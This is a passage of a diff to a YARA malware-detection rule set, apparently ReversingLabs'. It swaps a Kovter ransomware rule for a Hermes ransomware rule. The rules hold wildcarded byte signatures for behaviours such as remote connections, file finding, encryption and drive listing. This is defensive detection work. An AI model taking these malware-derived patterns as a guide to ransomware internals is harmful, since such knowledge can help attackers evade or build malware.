-            ?? ?? E8 ?? ?? ?? ?? 75 ?? 80 7D ?? ?? 75 ?? 8B 5D ?? 4B 85 DB 7C ?? 43 33 F6 8D 85
-            ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 14 B2 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8
-            ?? ?? ?? ?? 46 4B 75 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? 5A E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 57
-            A1 ?? ?? ?? ?? 8B 00 FF D0 8B 1D ?? ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 85 DB 74
-            ?? 6A ?? A1 ?? ?? ?? ?? 8B 00 FF D0 EB ?? B3 ?? 8D 85 ?? ?? ?? ?? 8B D3 80 C2 ?? E8
-            ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 8B 00 FF
-            D0 83 F8 ?? 76 ?? 83 F8 ?? 74 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8D 85 ??
-            ?? ?? ?? 8B D3 80 C2 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B 95 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 FF 05 ??
-            ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 8D 46 ?? 50 6A ?? 56 68 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 6A ?? A1 ?? ?? ?? ?? 8B 00 FF D0 4B 80 FB ?? 0F 85 ?? ?? ?? ?? 57 A1 ?? ?? ??
-            ?? 8B 00 FF D0 8B 1D ?? ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 85 DB 74 ?? 6A ?? A1
-            ?? ?? ?? ?? 8B 00 FF D0 EB ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8D 46 ?? BA
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 FF 05 ?? ?? ?? ?? 57 A1 ??
-            ?? ?? ?? 8B 00 FF D0 8D 46 ?? 50 6A ?? 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? A1 ??
-            ?? ?? ?? 8B 00 FF D0 57 A1 ?? ?? ?? ?? 8B 00 FF D0 8B 1D ?? ?? ?? ?? 57 A1 ?? ?? ??
-            ?? 8B 00 FF D0 85 DB 74 ?? 6A ?? A1 ?? ?? ?? ?? 8B 00 FF D0 EB ?? A1 ?? ?? ?? ?? BA
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35
-            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            52 50 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? BA
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 50 B8
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 5A 59 E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ??
-            ?? ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 89 45 ?? C6 45 ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? 8B
-            5D ?? 4B 85 DB 7C ?? 43 33 F6 80 7D ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ??
-            8B 14 B2 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? EB ?? 8D 85 ?? ??
-            ?? ?? 8B 15 ?? ?? ?? ?? 8B 14 B2 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ??
-            ?? ?? 88 45 ?? 46 4B 75 ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? 80 7D
-            ?? ?? 75 ?? 8B 5D ?? 4B 85 DB 7C ?? 43 33 F6 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B
-            14 B2 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 46 4B 75 ?? BA ?? ??
-            ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B C8 B8 ?? ?? ?? ?? 5A E8 ?? ?? ?? ?? BA ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50
-            8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C8 B8 ?? ?? ??
-            ?? 5A E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8B D3 B8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? FF 35 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            50 8B D3 B8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8B D3 B8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? A1
-            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ??
-            E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? A1 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? B2 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ??
-            A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
+		$get_logical_drives_list_p2 = {
+            1B C0 83 D8 ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 85 ?? ??
+            ?? ?? 89 B5 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CE D3 E2 85 95 ?? ?? ?? ?? 0F 84 ?? ?? ??
+            ?? 8D 4E ?? 66 89 8D ?? ?? ?? ?? 33 C9 6A ?? 51 8D 95 ?? ?? ?? ?? 52 C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF
+            15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84
+            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95
+            ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ??
+            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ??
+            ?? 83 EC ?? B8 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 83 C4 ?? BF ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 39 78 ?? 72 ?? 8B 00 8D
+            50 ?? 8A 08 40 84 C9 75 ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 2B C2 50 83 EC ?? B8 ?? ?? ??
+            ?? 8B CC 89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
+            39 78 ?? 72 ?? 8B 00 50 53 FF 15 ?? ?? ?? ?? 39 BD ?? ?? ?? ?? 72 ?? 8B 95 ?? ?? ??
+            ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 B5 ?? ?? ?? ??
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 39 BD ?? ?? ?? ?? 72 ?? 8B 85 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 53 89 B5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? C6 85 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 46 89 B5 ?? ?? ?? ?? 83
+            FE ?? 0F 8C ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? B0 ?? 8B
+            4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and $find_files_and_encrypt and $remote_connection_1 and $remote_connection_2
+		uint16(0)==0x5A4D and ( all of ($get_logical_drives_list_p*)) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Kovter : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Hermes : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Kovter ransomware."
+		description = "Yara rule that detects Hermes ransomware."
 		author = "ReversingLabs"
-		id = "9362ac5a-0b6c-5ac5-ac2b-59dcc1191dc6"
+		id = "1f1f363a-5be0-59e5-b1c1-5e277922790c"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Kovter.yara#L1-L141"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "3082e036b54a73ce8397cfa6e8dc2a807c587d9f17286e75af6cdbe622fae1e1"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Hermes.yara#L1-L284"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "6db95c422ee2f9dd8a1795031ee8d7d5ed84e16cde47512becc006b6a849e890"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -44889,141 +45231,251 @@ rule REVERSINGLABS_Win32_Ransomware_Kovter : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Kovter"
+		tc_detection_name = "Hermes"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$remote_connection_1 = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D
-            ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ??
-            89 5D ?? 89 5D ?? 8B D9 89 55 ?? 89 45 ?? 8B 75 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ??
-            E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? 80 38 ?? 74
-            ?? 8B CE 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 33 C0
-            89 45 ?? 33 C0 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            48 75 ?? B3 ?? 8D 45 ?? 50 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ??
-            ?? ?? ?? 5A 2B C2 83 C0 ?? 50 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 83 C2 ??
-            8B 45 ?? 59 E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B
-            85 ?? ?? ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 5A 2B C2 50 8D
-            85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ??
-            8B D0 42 8B 45 ?? 59 E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? 8B C8 49 BA ?? ?? ?? ?? 8B 45 ??
-            E8 ?? ?? ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 48 0F 8E ?? ?? ?? ??
-            6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ??
-            68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B F8 85 FF 0F 84 ?? ??
-            ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68
-            ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 8D
+		$hermes_find_files_v1_p1 = {
+            A5 A5 A5 8D BD ?? ?? ?? ?? 66 AB BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? A5 A5 66 A5 68 ??
+            ?? ?? ?? 8D BD ?? ?? ?? ?? 50 AB 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 65
+            ?? ?? 8B 5D ?? 8B FB 4F 4F 8D 47 ?? 66 8B 4F ?? 47 47 66 85 C9 75 ?? BE ?? ?? ?? ??
+            A5 A5 8D 8D ?? ?? ?? ?? 51 50 66 A5 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 89 45 ?? E8
+            ?? ?? ?? ?? 59 59 8B C8 E8 ?? ?? ?? ?? 8B CB 8B D0 E8 ?? ?? ?? ?? 2B C2 33 C9 83 7D
+            ?? ?? 66 89 0C 43 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ??
+            8B C1 6A ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15
+            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ??
+            8B C1 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 FF 75
+            ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 7D ?? A5 A5 A5 A5 33
         }
-		$remote_connection_2 = {
-            45 ?? 50 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 0D ?? ??
-            ?? ?? 0D ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 50 8D 45 ?? 50 6A ?? 8B 45 ?? 50 E8 ?? ?? ??
-            ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 6A
-            ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 68 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8D 45
-            ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ??
-            ?? ?? ?? 8B C6 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? 01 45 ?? 81 7D ?? ?? ?? ?? ?? 77 ??
-            83 7D ?? ?? 75 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? E9
-            ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ??
-            6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B F8 85 FF
-            0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ??
-            ?? ?? 50 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D
-            45 ?? 50 8D 45 ?? 50 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45
-            ?? 0D ?? ?? ?? ?? 0D ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 50 8D 45 ?? 50 6A ?? 8B 45 ?? 50
-            E8 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ??
-            ?? 85 C0 74 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ??
-            ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ??
-            ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B C6 8B 55 ?? E8 ?? ?? ?? ?? 8B
-            45 ?? 01 45 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 50 E8 ?? ?? ??
-            ?? 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 3E ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ??
-            ?? ?? 48 0F 8E ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A
-            ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B F8
-            85 FF 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8
-            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ??
-            ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 8B 45
-            ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B
+		$hermes_find_files_v1_p2 = {
+            C0 6A ?? 59 6A ?? 8D 7D ?? 66 AB BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 A5 59 BE ?? ??
+            ?? ?? 8D BD ?? ?? ?? ?? F3 A5 BE ?? ?? ?? ?? 8D 7D ?? A5 A5 A5 A5 6A ?? 59 8D 7D ??
+            AB BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 A5 8D BD ?? ?? ?? ?? AB AB 66 AB BE ?? ?? ??
+            ?? 8D 7D ?? A5 A5 A5 A5 33 C0 6A ?? 8D 7D ?? AB 59 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ??
+            F3 A5 66 A5 8D BD ?? ?? ?? ?? AB BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? A5 A5 A5 A5 8D BD
+            ?? ?? ?? ?? AB AB AB 66 AB 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85
+            C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59
+            85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59
+            59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D
+            85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50
+            8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 0F
         }
-		$remote_connection_3 = {
-            45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ??
-            ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B C6 8B 55 ??
-            E8 ?? ?? ?? ?? 8B 45 ?? 01 45 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 83 7D ?? ?? 75 ?? 8B 45
-            ?? 50 E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A ??
-            6A ?? 6A ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8
-            ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45
-            ?? E8 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B F8 85 FF 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ??
